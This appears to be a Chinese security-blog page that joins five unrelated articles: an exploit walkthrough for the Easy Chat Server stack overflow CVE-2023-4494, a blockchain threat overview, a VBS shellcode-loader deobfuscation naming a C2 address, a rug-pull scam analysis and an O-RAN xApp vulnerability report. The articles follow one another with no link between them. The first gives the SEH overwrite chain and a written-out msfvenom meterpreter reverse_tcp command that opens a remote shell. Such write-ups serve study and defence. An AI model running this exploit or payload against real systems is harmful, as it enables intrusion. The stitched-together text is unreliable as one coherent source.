HireHackking

漏洞概述Easy Chat Server是一款基於Web的在線聊天服務器程序，運行系統為Windows，支持創建多個聊天室，多人在線聊天，該軟件曾出現過多個漏洞。近日，安全研究人員發現該軟件還存在基於棧溢出的漏洞，漏洞編號CVE-2023-4494。該漏洞源於使用HTTP GET對register.ghp文件進行訪問時，未檢查用戶提交的username值的長度是否超過限制，從而使棧緩衝區溢出，覆蓋其他內存空間，可導致任意代碼執行。 影響範圍 =3.1 復現環境 操作系統：Win7 sp1，Kali linux 分析工具：IDA，Windbg，OLLYDBG，Burp Suite 漏洞復現安裝3.1版本的Easy Chat Server程序，安裝完成後主程序路徑為C:\EFS Software\Easy Chat Server\EasyChat.exe。當前服務器IP為192.168.220.128，啟動主程序後，主界面如下圖所示： 使用瀏覽器對主頁進行訪問，Web主界面如下圖所示： 根據CVE官方公告，使用HTTP GET對register.ghp文件進行訪問時，username字段可導致漏洞產生。所以使用瀏覽器訪問http://192.168.220.128/register.ghp?username=test進行嘗試，Web響應界面如下圖所示： 可以看出，register.ghp可能是用戶註冊頁面。同時反編譯EasyChat.exe程序，發現還需要傳遞Password等字段。反編譯如下圖所示： 再次使用瀏覽器訪問http://192.168.220.128/register.ghp?username=testpassword=testpwd進行嘗試，同時使用Burp Suite進行抓包。根據抓取的數據包，對username字段進行fuzz，嘗試找到使主程序崩潰的username值。 Burp Suite設置如下圖所示： 當username字段的值為485個A時，Easy Chat Server沒有響應HTTP 200，此時Easy Chat Server主程序已經崩潰，說明此時的username值可能導致了漏洞，如下圖所示： 漏洞分析根據以上復現情況，找到了使Easy Chat Server主程序崩潰的username值，但是還沒有確定是否是溢出而導致的崩潰。重啟Easy Chat Server主程序，使用Windbg附加調試，再用Burp Suite將上述復現時的數據包發送到Easy Chat Server主程序。 Windbg立即捕獲到異常，如下圖所示： 從Windbg中的函數調用堆棧中可以看到，異常發生在HeapFree函數內部。該函數的功能是釋放堆內存空間，從代碼中可以看出，試圖讀取一個不存在的地址41414145的數據，導致了異常。另外，函數調用堆棧中出現大量非法的內存指針值和username中的A字符（十六進制41），似乎是函數返回地址被大量A覆蓋了。為了更直觀的調試，重啟Easy Chat Server主程序，使用OLLYDBG附加調試。在上述出現異常的HeapFree函數地址441AFD處下斷點，再用Burp Suite發送異常數據包。在異常發生前最後一次HeapFree處停下，觀察函數堆棧，如下圖所示： 此時棧中出現大量HTTP GET發送的username字段值，繼續往下查看，發現堆棧中結構化異常處理（SEH）地址已被username字段的值覆蓋為41414141，說明發生了棧溢出，如下圖所示： 由於堆棧地址並不是固定的，不方便下斷點。所以從異常發生的前一次HeapFree函數地址處單步調式，觀察堆棧SEH地址變化。經過多次調試，發現在地址4114FB處的sprintf函數調用，覆蓋了SEH和函數返回地址等值，如下圖所示： 此時Buffer變量大小為256，小於HTTP GET時提交的username的大小485，導致棧溢出，從而導致後面調用HeapFree函數也異常，如下圖所示： 調用sprintf函數前SEH和函數返回地址，如下圖所示： 漏洞利用從上述的分析中可以看出，調用sprintf函數拼接username字段前，沒有檢查username的長度是否超出限制，並且username字段可控，導致棧溢出，可以覆蓋SEH和函數返回地址，導致任意代碼執行。 對於此類漏洞的利用，一般來說可以將SEH函數地址或者函數返回地址覆蓋為棧中可控內容的地址，比如username字段對應的棧地址。但是由於棧地址不固定，需要藉助一些固定的代碼地址作為跳板，構建ROP（Return-oriented programming）鏈，跳轉到可控內容地址執行任意代碼。如果程序開啟了DEP（數據執行保護），還需要使用ROP鏈關閉DEP。 經查，該程序未開啟DEP，如下圖所示： ROP鏈使用SSLEAY32.DLL地址為1001AE86處的“pop ebp”,” pop ebx”和“retn”指令，將該地址覆蓋到SEH函數處，如下圖所示： 利用該漏洞執行的代碼，筆者這裡使用msf的上線payload(載荷)。值得注意的是，payload中不能有00或空格等字符，以免發生截斷，導致利用失敗。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b '\x00\x20' -v shellcode生成python格式的payload，如下圖所示： 整個漏洞利用結構示意圖，如下圖所示： 使用python編寫利用腳本，如下圖所示： 最後在kali中啟動msf，監聽對應的端口8888，運行漏洞利用腳本，msf成功上線，如下圖所示： POChttps://www.ddpoc.com/poc/DVB-2023-5622.html

區塊鏈不再是炒作；它是一種廣泛且可靠的財務和數據管理技術。許多組織投資區塊鏈，使用它們來存儲和共享數據，並在其業務流程中實施它們。但區塊鏈也吸引了網絡犯罪分子的大量關注，他們的目標是敏感的企業數據和加密資產。 保護區塊鍊網絡免受黑客攻擊需要不斷審核和研究新的漏洞和潛在的攻擊媒介。在本文中，我們概述了關鍵的區塊鏈安全漏洞，探討了常見的攻擊媒介，並分享了我們關於減輕允許這些攻擊的風險的知識。 本文對於正在考慮開發或採用基於區塊鏈的應用程序並正在尋找檢查和確保其安全性的方法的企業非常有用。 為什麼黑客經常攻擊區塊鏈？隨著區塊鏈技術在處理數據和財務方面變得司空見慣，對基於區塊鏈的應用程序和網絡的成功攻擊經常出現在新聞中。讓我們看一下區塊鏈受到攻擊的關鍵原因： 信息處理不安全。許多企業使用區塊鏈不是為了管理財務和代幣，而是為了存儲數據：健康相關信息、供應鏈記錄、商業秘密，甚至投票詳細信息。如果未加密或以其他方式保護，此類記錄總是會吸引惡意行為者，因為它們可用於惡意活動：在暗網上出售數據、勒索組織、實施欺詐等。 大量且無法追踪的加密貨幣。加密貨幣和交易平台成為投資、資金處理和國際交易的常見工具，使其成為黑客攻擊的目標。 2022 年，黑客從加密相關服務中竊取了超過38 億美元。按照設計，區塊鍊網絡內的交易很難追踪到特定的人，這使得加密貨幣竊賊能夠逍遙法外。 將黑客繩之以法的挑戰。調查區塊鏈攻擊需要面臨許多技術和法律挑戰。區塊鏈交易是匿名且加密的，這意味著調查人員需要大量時間才能將欺詐交易追溯到黑客。此外，攻擊者及其受害者通常生活在不同的國家，並受不同的區塊鏈相關立法（如果有）管轄，這進一步使調查變得複雜。 區塊鏈實施的安全性差。儘管區塊鍊網絡和應用程序如雨後春筍般湧現，但並非所有開發它們的組織都對安全性給予足夠的重視。例如，由於Rab13s 漏洞，超過280 個包含價值250 億美元加密貨幣的網絡面臨遭受攻擊的風險。缺乏保護措施實際上是對網絡犯罪分子的邀請。 修復能力有限。作為去中心化的解決方案，區塊鏈應用程序及其核心邏輯通常由開源代碼管理。如果在該代碼中發現漏洞，每個人都會知道它。此外，修復區塊鏈代碼具有挑戰性，有時甚至是不可能的，因為它一旦發布就不可更改。 缺乏防止攻擊的網絡安全人才。保護區塊鏈應用程序免受攻擊不僅涉及安全設計和實施，還涉及定期安全審核和修復新發現的漏洞。此類工作需要許多組織所不具備的網絡安全專業知識。 儘管區塊鏈在網絡安全中的用例很多，但我們不斷看到成功的區塊鏈攻擊。攻擊次數也逐年增加。跟踪加密貨幣盜竊案的Comparitect 報告稱，2021 年成功發生了136 起加密貨幣盜竊案，2022 年發生了199 起，2023 年1 月至11 月期間發生了220 起。 讓我們來看看2023 年以來針對區塊鏈的幾起毀滅性攻擊： 歐拉金融遭遇一系列閃貸攻擊，導致超過1.95 億美元被盜。攻擊者濫用了平台協議中的一個漏洞，該漏洞允許他們從Euler 的存款池借錢，而無需抵押資產。歐拉與黑客協商歸還大部分被盜資金，並啟動了對其平台的獨立審計。 Bonq的智能合約遭遇了甲骨文黑客攻擊，攻擊者可以操縱某些加密貨幣的交易價格。由於這次黑客攻擊，Bonq 失去了大部分投資者。他們暫停了被利用協議的使用，但無法追回被盜資金。 Mixin Network損失了價值2 億美元的主網資產。該網絡使用託管在雲中的集中式數據庫。攻擊者破壞了該數據庫並獲得了對主網的未經授權的訪問。被盜資金並未歸還，但Mixin Network 承諾退還用戶損失的50%。 正如您所看到的，即使是擁有數百萬美元的區塊鍊網絡也不夠安全，無法確保保護用戶的財務。讓我們看一下惡意行為者可以利用的關鍵潛在漏洞。 區塊鏈安全威脅的主要來源了解可能的漏洞是保護應用程序安全的第一步。以下是導致常見類型區塊鏈攻擊成為可能的漏洞的主要來源： 聯網網絡是區塊鏈系統的核心方面之一，它由多個相互通信的節點組成。區塊鏈節點應該可以被其他節點發現、同步並且能夠抵禦攻擊和數據包丟失。底層網絡邏輯由以下各項管理： 一種網絡協議，負責在節點之間傳輸事務和塊。可發現性是該協議的重要組成部分，因為它可能會影響節點接收的數據。 共識協議，決定大多數網絡參與者都同意的網絡當前狀態。 節點之間保護不善的網絡可能會導致攻擊者破壞或修改通信。 密碼學加密算法允許區塊鏈使用公私密鑰對加密消息並驗證簽名。在去中心化平台中實施此類算法消除了第三方頒發私鑰的需要。相反，任何人都可以使用必要的軟件和正確實現加密算法來生成密鑰。 一般來說，密碼學有助於保護區塊鏈交易免遭未經授權的訪問。但如果實施不當，它可能會創建後門並授予惡意行為者訪問權限。 貯存區塊鏈依賴於去中心化存儲來包含用戶和錢包詳細信息以及交易記錄等數據。區塊鏈平台不僅在節點之間同步數據，還檢查每筆交易中使用的輸入是否唯一。當網絡增長到數十萬個區塊時，這可能需要很多時間。為了提高效率，區塊鏈平台使用處理塊和事務的索引器來提供對數據的快速訪問。 建立存儲和設計索引器需要謹慎的方法，因為它可能會引入雙重支出或依賴未經確認的交易等問題。 治理儘管區塊鏈技術具有許多安全優勢，但基於區塊鏈的平台仍然由人管理。通常，所有網絡參與者都成為利益相關者，網絡的任何變化都需要利益相關者達成共識。比特幣經典就是此類網絡的一個例子。公共治理可以保護網絡免受可疑更改和襲擊嘗試的影響，但如果未經大多數節點批准，它也會阻止有意義的改進。 一些區塊鏈平台與鏈上去中心化治理相集成，例如Tezos及其自我修正協議。這種方法使集成改進成為一個順利的過程，並降低了網絡分裂的風險。 應用代碼開發錯誤可能會導致區塊鏈應用程序出現意外行為。如果編程語言使用不當，甚至會導致程序崩潰。考慮到區塊鏈系統的去中心化性質，如果由於特定交易而發生崩潰，則可能會停止所有節點。 如果應用程序存在邏輯錯誤，它將無法處理所有負面的使用場景。例如，函數在處理餘額時可能會正確運行，直到傳遞了不正確的負值。 在下一節中，我們將概述惡意內部人員經常用來利用這些區塊鏈漏洞的攻擊。我們還研究了對您的網絡有用的區塊鏈攻擊向量和預防技術。

我們可以通過使用CyberChef和Regex來克服大量基於文本的混淆，在混淆後，系統將識別一些“畸形”的shellcode，我們將在使用SpeakEasy模擬器進行模擬之前手動修復。 哈希：e8710133491bdf0b0d1a2e3d9a2dbbf0d58e0dbb0e0f7c65acef4f788128e1e4，示例鏈接請點此。 TLDR1.識別功能和混淆類型； 2.清除基本混淆與正則表達式和文本編輯器； 3.使用Regex, CyberChef和Subsections去除高級混淆； 4.識別shellcode並修復負字節值(Python或CyberChef)； 5.使用Speakeasy驗證和仿真。 初步分析可以使用受感染的密碼保存和解壓縮腳本，這樣我們可以使用文本編輯器(如notepad++)直接打開文件。 打開後，我們可以看到腳本引用了一些Excel對像以及Wscript.Shell，通常用於執行.vbs腳本。 在這個階段，我們將跳轉到使用Wscript來利用Excel執行代碼的假設，避免分析Excel/Wscript組件，直接跳轉到解碼混亂的命令/代碼。 我們可以假設代碼的初始部分是利用Excel和Wscript來運行一個被混淆的vbs腳本。 混淆技術概述從第30行開始，可以看到兩種主要的混淆形式。 1.腳本被分解成許多小字符串，例如“hello world”將是“hello”＆“world” 2.該腳本使用Chr解碼的十進制編碼值。例如，“Hello World”可以是“Hell”＆ chr(111)＆“World”。其中的“0”已轉換為十進制111。 3.每行以下劃線＿結尾。雖然這不是混淆，但仍然需要刪除以清理腳本。 現在已經確定3種初始形式的“混淆”，接下來可以繼續使用正則表達式來清除它們。 可以在不使用正則表達式的情況下手動刪除和替換每個值，但這是一個非常繁瑣的過程。在這個腳本中，regex是最好的方法。 在清除第一種形式的混淆後。我們可以使用搜索/替換來做到這一點，使用“＆”和空替換值。 按下確認鍵後，290個字符串分割混淆被刪除了。 現在，將繼續使用CyberChef來識別和刪除Chr(10)樣式混淆。 這個過程將包括使用一個正則表達式來識別Chr(10)，然後使用一個子段來研究這些值並對它們進行解碼，保持剩餘的腳本不變。為此，需要把當前編碼的內容移動到CyberChef中。 用Cyberchef的初步分析現在將腳本移到CyberChef中，可以直接跳到正則表達式(regex)的原型中，以深入研究十進制編碼的值。 對於原型，本文將使用“正則表達式”和“突出匹配”，這是為了確認腳本匹配預期的混淆內容。 這裡使用的正則表達式是Chr \(\d+\)： Chr-需要以Chr開頭的十進制值； \( and \) -我們希望十進制值包含在括號中，需要轉義括號，因為它們在正則表達式中具有特殊含義； \d + -指定一個或多個數值； 希望“數值”+“包含在括號中”+“前面加上Chr”。 由於regex看起來正在運行並正確識別值，因此可以繼續並將其更改為分段。 分段允許僅對匹配正則表達式的數據執行所有將來的操作。這允許我們保持腳本的大部分完整，而只解碼那些混淆並匹配我們的正則表達式的值。 接下來繼續將regex複製到分段，確保禁用原始正則表達式。 應用了這個小節之後，現在可以應用一個額外的正則表達式來提取十進制值(但只能是包含在Chr中的值)。 從這裡開始，我們現在可以應用“From decimal”來解碼內容。 至此，我們現在有了一個比以前好看得多的腳本，儘管它仍然到處都有＆。 回到文本編輯器 解決了主要的混淆後，可以將CyberChef輸出複制回文本編輯器中。 ＆ chr(110)＆值周圍的＆符號仍然存在，可以繼續刪除它們。 保留了下劃線(visual basic換行符)，繼續使用\s +＿ \s +刪除它們，這將刪除所有換行符和周圍的空白。 腳本現在看起來乾淨很多，儘管周圍有很多“”，但不會對分析有什麼影響。 我們可以繼續使用“+”的正則表達式刪除這些引號，這將從腳本中刪除所有引號。 分析清理後的腳本 現在刪除了大部分垃圾代碼，可以繼續查看已解碼的腳本。 可以注意到的第一件事是，在進程注入中有很多api引用(VirtualAllocEx, WriteProcessMemory, CreateProcessA等)。 稍微向下滾動，我們還可以看到一團十六進製字節和進程名，可能用作進程注入的目標。例如，這個blob字節將被注入rundll32.exe。 此時，我們可以假設字節是shellcode。這主要是由於長度短，不能作為標準的pe/exe/dll文件。 在繼續之前，可以先刪除最後剩下的下劃線。 一旦刪除，十六進製字節的blob應該看起來像這樣。 blob太短，不能成為一個完整的PE文件，但是有足夠的空間包含shellcode。 修復用於表示Shellcode的負十進制值shellcode中存在需要修復的負值。雖然不確定負的值如何在visual basic/.vbs運行，但在這種情況下，似乎-4的值對應於256 -4，即252，這是0xfc，這是在Shellcode開頭看到的一個常見字節(cld標誌)。 在分析可能的shellcode之前，我們需要取所有的負值並從256中減去它們。 這可以在CyberChef或Python中完成，示例如下所示。 CyberChef ：這可以通過使用一個分段來提取負值，從值256中減去它們來完成。現在，所有值都可以進行十進制解碼。 Python：類似於cyberchef，可以迭代十進制值數組，從數字256中減去負值。 在輸出中，我們可以看到明文字符串以及0xfc的初始Shellcode字節。 兩個輸出也引用了一個可能的C2地址47.98.51[.]47。 此外，兩個輸出都引用EICAR字符串。這是一個字符串，將自動觸發所有殺毒軟件。 據分析，這是一個故意的字符串，旨在防止Cobalt Strike的試用版被濫用。 SpeakEasy的Shellcode仿真 0xfc字節的短長度和存在可以讓我們確信結果是shellcode。為了進一步確認，可以繼續在SpeakEasy模擬器中模擬輸出。 這證實了字節是shellcode，它從ip 47.98.41[.]47充當基於http的下載程序 如上所述，通過分析一個包含shellcode加載器的visual basic腳本，我們成功地識別了一個C2地址，並使用SpeakEasy模擬器確認了shellcode功能。

“Rug Pull”是一種常見的加密騙局，往往發生於DeFi領域。 DeFi，即“去中心化金融（Decentralized Finance）”，也被稱為“開放式金融”，是以比特幣和以太幣為代表的加密貨幣，區塊鍊和智能合約結合的產物。 DeFi有兩大支柱，一是以比特幣和以太幣為代表的穩定幣，二是實現交易、借貸和投資的智能合約。 Rug Pull騙局通常是指加密行業項目方突然放棄某一個項目或撤出流動性池子，捲走用戶投資資金的詐騙行為，通俗的講就是捲款跑路。 詐騙者在“Rug Pull”之前，會先創建一個加密項目，通過各種營銷手段吸引加密用戶投資，並在合適的時機突然捲走用戶投資的資金，拋售加密資產，投資該項目的用戶也將蒙受巨大損失。 Rug Pull事件回顧FairWin (2019)：FairWin 是在以太坊區塊鏈上運作的龐氏騙局，它承諾通過名為FairWin 智能合約的去中心化應用程序（dApp）獲得高回報。然而，該項目的開發商最終捲走了投資者的資金，造成估計數百萬美元的損失。 PlusToken（2019）：PlusToken 是一種影響全球的加密貨幣龐氏騙局。它聲稱可以提供高收益的投資回報，並吸引了大量參與者。然而，在2019 年中期，該計劃的運營商消失了，帶走了估計價值20 億美元的加密貨幣。 YAM Finance（2020）：YAM Finance 是一個建立在以太坊區塊鏈上的DeFi 項目。它旨在創建一個去中心化的穩定幣和流動性挖礦平台。然而，啟動後不久，就發現了一個編碼缺陷，導致該項目無法持續。 YAM代幣價值暴跌至零，導致投資者遭受重大損失。 Meerkat Finance（2021）：Meerkat Finance 是幣安智能鏈（BSC）上的去中心化流動性挖礦項目。它聲稱通過其金庫提供高回報。然而，項目啟動後48小時內，開發商就耗盡了該項目的資金，造成約3100萬美元的損失。 最近，又有攻擊者利用Rug Pull計劃成功竊取了近100萬美元。我們將在本文深入研究這個精心設計的加密騙局的細節，並了解它是如何詐騙的？ Check Point最近識別出了以下地址0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798涉及Rug Pull活動，威脅識別系統已經開始監控與錢包地址相關的活動： 這是詐騙錢包的餘額，這個地址操作了40個不同的Rug，已經被盜了近100萬美元。 詐騙(0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798)的策略是根據最新的炒作來創建代幣，以引誘受害者購買他的代幣，例如，代幣名稱GROK 2.0 (0xd4b726c5b5e6f63d16a2050ee3ac4a0f0f81f1d4)，可能來源於一個知名的人工智能係統(X GROK)，旨在吸引買家。幾週前，受埃隆马云惹不起马云馬斯克AI 項目啟發的原始Grok 代幣的推動，根據DEXTools 的數據，交易量超過600,000 美元。 這個精心設計的騙局是如何運作的，它是如何成功捲走大批量錢的？下面是詳細分析。 創建假令牌：騙局始於創建欺騙性令牌，以令牌GROK 2.0為例，名字的選擇通常反映了熱門話題，以吸引毫無戒心的買家。 向流動性池中添加資金：為了製造合法性假象，詐騙向代幣池中註入資金，創造了一個充滿活力和活躍的代幣的假象。 精心策劃的交易活動：利用合約中的專門功能(0x521da65d)，詐騙者執行模擬交易，使其看起來好像真正的買賣正在發生。然而，這只是詐騙精心策劃的一個詭計。 增加交易量：另一個功能(0xf029e7cf)開始發揮作用，促進了WETH加密貨幣和GROK令牌之間的大規模交易。這種人為的通貨膨脹創造了一種高需求和高價值的感覺，吸引投資者加入。 吸引買家：利用代幣的吸引力，用戶開始購買，沒有意識到即將發生的欺騙。 卷錢：一旦代幣充分吸引了投資者，詐騙就會執行最後一步——從代幣池中撤出流動性，讓代幣購買者空手而歸。 技術分析詐騙者使用兩種不同的智能合約進行交易並增加代幣數量。他使用的第一個合約地址是0x2ef3216e95e2b7c8e378ae64534100e69598f955，其中包含模擬交易功能(0x521da65d)。 函數0 x521da65d函數0x521da65d負責為詐騙出售和購買令牌，這個函數已經為這個令牌執行了226次。函數的行為取決於布爾值varg7，它決定了函數的運行路線，導致了兩個獨立的執行路線。 第一條路線(0x306b)是從WETH加密貨幣交換到GROK 2.0(購買)，如下圖所示： 第二條路由(0x2bac)表示從GROK 2.0到WETH(銷售)的交換。 對於第二個智能合約，詐騙者使用地址0x4b2a0290e41623fbfeb5f6a0ea52dc261b65e29b進行操作，在那裡他執行函數0xf029e7cf來人為地提高令牌的數量。 函數0 xf029e7cf這個函數接收五個參數： 解碼發送給此函數的以下數據，揭示以下參數： Varg0是Uniswap路由器地址，詐騙將使用它來交換令牌。 Varg1是WETH加密貨幣地址，將用於與GROK令牌進行交換。 Varg2是GROK 2.0令牌地址。 Varg3是要交換的令牌的數量。 Varg4是交換這個令牌的次數。 深入研究該函數，我們發現詐騙者使用了來自Uniswap Router (varg0)的“swapExcatToekensSupportingFeeOnTransferTokens”函數，從WETH(varg1)到GROK(varg2)以及從GROK到WETH交換了9次(varg4)，總金額為420,000美元，這增加了令牌的數量並吸引交易者和機器人購買它。 swap循環可以在下面的截圖中看到： 在騙局的最後階段，詐騙在吸引了足夠數量的買家和令牌價格上漲後，從令牌的流動性池中提取了資金。事實證明，他們有81次從他們的欺騙性代幣中去除流動性。 總結隨著加密領域的不斷發展，保持警惕和了解情況對投資者來說至關重要。最近的Rug Pull事件提醒我們，有必要提高安全意識。通過了解詐騙所採用的策略，我們可以共同努力創造一個更安全、更可靠的加密環境。 如何避免Rug Pull事件的發生：1.在投入資金之前認真研究任何分析投資機會。了解團隊成員、他們的背景以及他們之前的項目。投資者應該對未公開信息的項目抱有質疑態度，要通過項目官網、社交媒體賬戶、社區熱度質量以及白皮書等信息。 2.評估項目團隊的可信度和合法性。尋找與該項目相關的開發人員的信息和知名度。 3.評估項目的社區參與度。團隊積極、透明的溝通至關重要，如果缺乏參與或團隊迴避回答重要問題，請務必謹慎。 4.正規且高質量的項目都會由信譽良好的第三方機構進行代碼審計，外部審計對於去中心化的加密項目格外重要，如果一個項目始終沒有進行代碼外部審計，這個項目就有很多潛在性的風險。投資者應該多方驗證項目外部審計結果，並只認可權威第三方出具的代碼審計報告，代碼中沒有發現任何惡意的項目才值得考慮投資與否。 5.驗證項目的流動性是否鎖定，流動性鎖定減少了撤資的可能性。識別大部分“Rug Pull”騙局最簡單也十分有效的方式是檢查流動性池是否被鎖定，流動性池鎖定的項目安全性較高，有權威第三方參與的鎖定流動性池的項目安全性更高，而流動性池未鎖定的項目極為危險，因為項目方可以輕而易舉地竊取流動性池子裡的所有加密貨幣。 投資者還應檢查流動性池被鎖定的比例，鎖定的比例和項目安全性成正比，一般而言，鎖定的比例應該在80%到100%之間，此外，鎖定的時間也是很重要的指標，流動性池應當受基於時間函數的限制，這意味著沒有人可以在時間限制範圍內移動池子裡的加密貨幣。 6.不要把所有雞蛋放在一個籃子裡。將投資分散到多個項目和資產類別。 7.賣盤控制。賣盤控制是通過惡意代碼實現的，這種方式較為隱秘，投資者可以通過小額購買代幣然後出售的方式來進行測試，如果無法出售，該項目就可判定為騙局。 8.異常暴漲。一個新的項目代幣在沒有重大利好情況下，突然異動暴漲，往往就是利用散戶普遍的“追漲殺跌”心態吸引散戶入局，而代幣價格拉高之後就是大量拋售，也就是常說的“割韭菜”。 投資者可以通過區塊瀏覽器來檢查代幣持有者的數量，數量過少的代幣價格容易被操縱，騙局的可能性極大。 9.可疑的高收益。 “Rug Pull”騙局很多時候就是龐氏騙局，這類騙局就是通過極具誘人的高收益來誘騙投資者，進而欺詐投資者投入的本金，也可以說，收益越高，風險就越大，投資者應該始終保持清醒的頭腦，進而做出明智的判斷。

開放式無線接入網(ORAN or O-RAN) 是搭建一個開放、虛擬化和智能的無線接入網(RAN) 體系結構，從而創造一個包含多家廠商、各家廠商的產品之間可以互操的生態系統。開放無線接入網(ORAN)體系結構為以前封閉的系統提供了標準化的接口和協議。然而，通過對ORAN的研究表明，惡意xApps構成的潛在威脅能夠危及整個Ran智能控制器(RIC)子系統。 Open RAN為5G無線接入網(RAN)引入了模塊化和解耦的設計範式，並承諾通過O-RAN定義的RAN智能控制器(RIC, RAN Intelligent Controller)實現完全的可編程性。 開放式無線電接入網架構通過建立標準接口和協議提供了對先前封閉的無線電接入網系統的接入。預計不同的供應商將在O-RAN中創建eXtended應用程序（xApps），由運營商安裝，這使得xApps成為惡意攻擊者的潛在攻擊向量，目的是在關鍵通信節點中站穩腳跟。 本文將會介紹惡意xApp如何危害整個RAN智能控制器（RIC）子系統。 5G網絡下圖為5G蜂窩網絡的總體架構。通過對分組核心的一些修改，拓撲結構也可以擴展以適應前幾代網絡（如3G和4G）。在下圖的左側是用戶： 5G網絡的端到端架構 基站（如圖2所示）由以下組件組成： 1.發射和接收無線電信號的天線。 2.一種遠程無線電頭（RRH），它容納射頻（RF）收發器，負責將數字信號轉換為無線電信號，反之亦然。 3.一種基帶單元（BBU），用於處理數字數據處理，包括調製、編碼和解碼以及更高層協議。 BBU可以管理多個RRH和天線。 典型RAN架構的組件 rrh通常位於天線附近，安裝在手機信號塔上。 BBUs曾經與蜂窩塔同處一處，但目前的基礎設施促使它們會位於更遠的中心位置。 RAN的演變如本文所示。 vRAN(虛擬化RAN)是一種運行在商用現成硬件上的虛擬化BBU。在分離式vRAN設計中，BBU分為CU (central unit)和DU (distributed unit)兩部分。 Open RAN儘管虛擬化和分解，RAN體系結構仍然相對封閉(也就是說，大多數組件必須來自同一供應商以確保兼容性)。當網絡架構關閉時，運營商通常需要向單一供應商支付巨額費用來購買設備和技術。 O-RAN架構旨在通過採用開放的標準、接口和協議來實現互操作性和靈活性。開放式RAN打破了系統的封閉性，允許運營商從不同的供應商選擇設備和軟件，從而實現更高程度的網絡定制(例如，從一個供應商購買CU，然後從另一個供應商獲得DU)。這允許更多的二、三線設備製造商參與進來。 O-RAN不僅僅是開放接口，它還通過基於人工智能的控制實現對下一代ran的開放訪問。本地網絡實體和RIC之間的開放接口可以促進無線電資源的實時感知、管理和響應。然而，由於其開放標準的性質，O-RAN本質上更容易受到攻擊和其他威脅，因此設計適當的安全機制非常重要。 O-RAN聯盟O-RAN聯盟是一個開放的技術組織，由移動運營商、供應商、研究組織和學術機構組成，致力於推進open RAN概念，該聯盟已經設計了一套open RAN規範。 該聯盟之前與Linux基金會合作開發了該規範的參考實現，稱為O-RAN SC, O-RAN SC規範是開源的，其代碼來自愛立信、諾基亞、三星、Radisys和ATT等頂級RAN供應商。鑑於這種協作努力，許多供應商更有可能將O-RAN SC代碼納入其商業產品中。 O-RAN架構O-RAN聯盟在其網站上提供了O-RAN架構的概述，下圖顯示了O-RAN如何適應5G網絡拓撲結構。 O-RAN如何適應5G網絡拓撲結構 Near-RT RIC和RIC消息路由器(RMR)Near-RT RIC使用E2接口來控制底層的RAN組件(包括CU、DU和RU)，可以將它看作OpenFlow在RAN中的對應組件。 E2接口的要求是能夠將Near-RT RIC連接不同供應商的不同類型的RAN組件。這個要求反映在圍繞服務模型(Service Model) 抽象的API中，其思想是每個RAN組件都發布一個服務模型，定義該組件能夠支持的RAN功能集。 Near-RTRIC是O-RAN體系結構的重要組成部分之一，它對網絡中的RF資源進行監控和管理，以優化網絡性能。它可以實時收集和分析網絡數據，還可以做出智能決策，優化無線資源的配置，使這些資源能夠滿足不同終端設備和服務的需求。 在Near-RT的RIC中，還有許多其他子組件，如E2term、E2Mgr和xApps。這些組件之間的通信依賴於RIC Message Router (RMR)表，在Near-RT的RIC中，該表通常包含與消息的路由和管理相關的信息。這些表包括消息的目的地、優先級、隊列和其他相關屬性等詳細信息。 RMR表包括以下信息： 消息目的地：指定應將消息路由到何處以及應處理該消息的實體或處理程序。優先事項指示處理消息的優先級，以確保重要消息得到更快的響應。 排隊：用於存儲消息以供後續處理。 消息類型：標識消息的類型，以便正確的處理程序能夠處理它。 消息標識符：標識消息的唯一值：它用於跟踪消息狀態和處理進度。 RMR庫是一組用於與RMR表交互的api，它包含在組成Near-RTRIC的組件中，例如xApp和E2Term。例如，兩個獨立xapp之間的交互將通過RMR進行。在這種情況下，xApp_A將根據KPI信息做出判斷，然後通過RMR調用xApp_B。 下圖顯示了使用RMR庫和路由表的Near-RTRIC中組件之間的交互。 RIC組件如何使用RMR 我們的研究揭示了Near-RTRIC的消息傳遞基礎設施中的多個漏洞。 攻擊方法在Near-RT的RIC中運行，xApps是提供諸如無線電資源優化、網絡監控和性能增強等功能的軟件組件。這些組件可以由網絡運營商、第三方開發人員或網絡設備供應商進一步開發，以增加獨特的價值和功能。從這個意義上說，xApps可以被認為是所有O-RAN組件中最開放的。 這種多廠商生態系統推動了創新，但也帶來了以下挑戰： 安全xApp登錄； 互操作性； 魯棒性問題； 通常情況下，xApps應該來自多個供應商。因此，我們開始研究時假設xApps是一種潛在的攻擊媒介，xApp可能會通過供應鍊或劫持引導進程而受到攻擊。即使是良性的xApp，如果它發出意外的或異常的消息，也會造成傷害。我們的研究結果證實了這些假設。 RMR漏洞CVE-2023-40998：來自xApp的精心製作的惡意數據包導致RT RIC的E2term崩潰。 CVE-2023-40998漏洞涉及錯誤的數據包信息，可能導致解碼過程中的數據包大小為負，從而導致執行內存操作時崩潰。 CVE-2023-40998消息流 消息大小變為負數的原因是它由數據包的前四個字節決定。如果設置不正確，它可能在解碼過程中導致負值，從而導致崩潰。 CVE-2023-40997：以無效格式發送的精心製作的消息導致Near-RTRIC的E2term崩潰。 CVE-2023-40997消息流 CVE-2023-40997發送報文無法正確解碼，導致內存地址計算錯誤，導致E2Term崩潰。 CVE-2023-41627：RMR表欺騙E2Term依賴路由管理器定期發送的路由表信息來與RIC系統中的其他組件建立通信，但E2Term不會驗證它接收到的路由表信息的發送方。由於缺乏驗證，攻擊者可以通過向E2Term發送偽造路由表信息來利用CVE-2023-41627漏洞，通過使用路由管理器以更高的頻率將此信息發送給E2Term，攻擊者可以欺騙E2Term併中斷其與其他組件的通信。 CVE-2023-41627消息流 RMR劫持：兩個xapp使用相同的訂閱ID發送相同的消息類型當xApp_A向訂閱E2節點發送函數ID時，xApp_B向訂閱E2節點發送相同的函數ID。然後，xApp_A RMR表項將被覆蓋，這意味著它不能從E2節點接收消息。相反，E2節點將向第二個xApp_B發送消息。 O-RAN是通信網絡的關鍵組成部分，O-RAN節點存儲加密密鑰並處理用戶流量。 這裡描述的兩個漏洞會導致DoS事件，它們與xApps、RMR和Near-RT的RIC有關。這些組件提供射頻資源優化和流量管理等增值服務。 O-RAN設計用於在RIC/E2組件不可用的情況下進行流量處理。理論上，RIC組件的崩潰不應該關閉蜂窩連接。但是，這可能導致資源利用不暢和服務退化。 同時，RMR欺騙和劫持可以在不關閉任何組件的情況下破壞RIC中的xApp生態系統。這就造成了資源利用率低下和服務退化。 即使是良性的xapp也可能由於實現不當而造成損害。這可能會對O-RAN中多廠商組件的互操作性產生不利影響。 